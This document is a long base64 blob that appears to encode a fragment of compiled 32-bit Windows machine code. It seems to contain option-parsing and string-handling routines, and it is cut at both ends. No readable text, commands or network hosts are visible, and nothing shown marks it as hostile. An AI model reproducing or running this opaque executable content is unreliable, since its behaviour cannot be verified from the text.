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AAACAvef3//8AdDeDfhAAD4W1+P//agH/N4vO6M32//+EwA+FZgwAAIvO6J72//9fXluLTfwzzeguZgAAi+VdwggAiw8z28aF5/f//wGNUQJmiwGDwQJmhcB19SvK0fmFyX4tiwcPtwRYUOgmmAAAg8QEhcB0NYsPQ41RApBmiwGDwQJmhcB19SvK0fk72XzTgL3e9///AHUriweLneD3//+j2HREAOnjCwAAiweLneD3///Ghd73//8Ao9h0RADpygsAAGjIdEQAaCChQwD/N+hfnAAAg8QMhcAPhOr3//+LneD3///powsAAMaGTRcAAADplwsAAI1DAmoAO0UID43H9///i73Y9///i87/dJ8E6Nf1//+EwA+ECv///4tEnwiNvkwHAABQaHj8QwBoAAgAAFeJhkgHAACDwwPo73MAAItFCIPEEDvYD41BCwAAi7XY9///jaQkAAAAAGog/zSe6PyNAACDxAiFwHQraIT8QwBoAAgAAFfoDYkAAIPEDP80nmgACAAAV+j8iAAAg8QMaBiHQwDrFmhAh0MAaAAIAABX6OKIAACDxAz/NJ5oAAgAAFfo0YgAAItFCEODxAw72HyYi7XI9///6cEKAADGhkQHAAAB6bIKAADGhkMHAAAB6aYKAACLRQiD+AIPhEALAACD+AN1DYC95vf//wAPhS4LAADGhkEHAAAB6X8KAABDagA7XQgPja72//+NljgHAACLTwToIcH//4PEBITAD4ST9v//6VIKAADGhjQHAAABZsdGbAEB6UAKAABDiZ3g9///agA7XQgPjWz2//+LTwSNljAHAADo38D//4PEBITAD4RR9v//g74wBwAAAA+ERPb//8ZGbAHp/wkAAI1DAceFzPf//wAAAACJhdT3//87RQgPjYsAAACLTwSNlcz3//9qAOiSwP//g8QEhMB0dIudzPf//4XbdGRqCo1F7L8FAAAAUGhs+0MA/xX0oEIAhcB0OI2FzPf//8eFzPf//wAAAABQjUXsaByhQwBQ6NmXAACDxAyD+AF1EYuNzPf//41B/z3mAwAAD0b5O993DomeKAcAAIud1Pf//+sGi53g9///aIz7QwBo/IZDAP8VsKFCAIs9oKFCAFD/14XAdA5mx4YlBwAAAAHpLQkAAGig+0MAaJR9QwD/FayhQgBQ/9eFwA+EcQoAAGbHhiUHAAABAOkECQAAjUsCiY3U9///O00ID40u9f//i4YAAQAAjZYAAQAAI0IEg/j/D4UW9f//i4XY9///agCLDIjoub7//4PEBITAD4T79P//aAQBAACNnhQDAABTaAQBAACNhhwFAABQaAQBAACNjgwBAABRaND5QwD/dwToNJkAAIPEIIP4A3QraAQBAABTaAQBAACNhgwBAABQaPj5QwD/dwToDZkAAIPEGIP4Ag+FywkAAItHBI1eSFNqAGoAiYYIAQAA/xXMokIAiYXM9///hcAPhVMKAACNRkxQagD/tggBAAD/M/8VxKJCAImFzPf//4XAD4XvCQAA/zP/FdCiQgCL2IXbD4WfCQAAaMD5QwD/N+iLbQAAg8QIhcB0E2jI+UMA/zfoeG0AAIPECIXAdQfGhiQHAAABi53U9///xkZsAenGBwAAxob8AAAAAem6BwAAQ4md4Pf//2oAO10ID43m8///i08EjZb4AAAA6Fm+//+DxASEwA+Ey/P//4O++AAAAAAPhL7z///GRmwB6XkHAADGRjkB6XAHAADGRjgB6WcHAADGhuAAAAAB6VsHAABDO10ID42N8///xkY7AYtHBImG9AAAAOk/BwAAQztdCA+NcfP//8ZGOgGNlvAAAABqAem6/P//xkY8AekbBwAAQztdCA+NTfP//4O+6AAAAP+NlugAAAAPhTrz//+LTwRqAOizvf//g8QEhMAPhCXz//9oYPlDAP836HJsAACDxAiFwHQTaGj5QwD/N+hfbAAAg8QIhcB1B8aG7AAAAAHGRmwB6bMGAADGhuMAAAAB6acGAADGhuIAAAABZsdGbAEB6ZUGAADGhuEAAAAB6YkGAACNQwRqADtFCA+NufL///93BIvO6NDw//+EwA+EA/r//4u92Pf//2jIdEQAaCihQwD/dJ8I6PaWAACDxAyFwA+EgfL//42G1AAAAFBoKKFDAP90nwzo1pYAAIPEDIXAD4Rh8v//i0yfEI2V0Pf//w9XwGoBZg8ThdD3///o+Lv//4PEBITAD4Q68v//i4XQ9///g8MEiYbYAAAAi4XU9///iYbcAAAA6d4FAABDxobSAAAAATtdCA+NawEAAGhc90MA/3cE6FVrAACDxAiFwA+EUwEAAGhk90MA/3cE6D1rAACDxAiFwA+EOwEAAGhs90MA/3cE6CVrAACDxAiFwA+EIwE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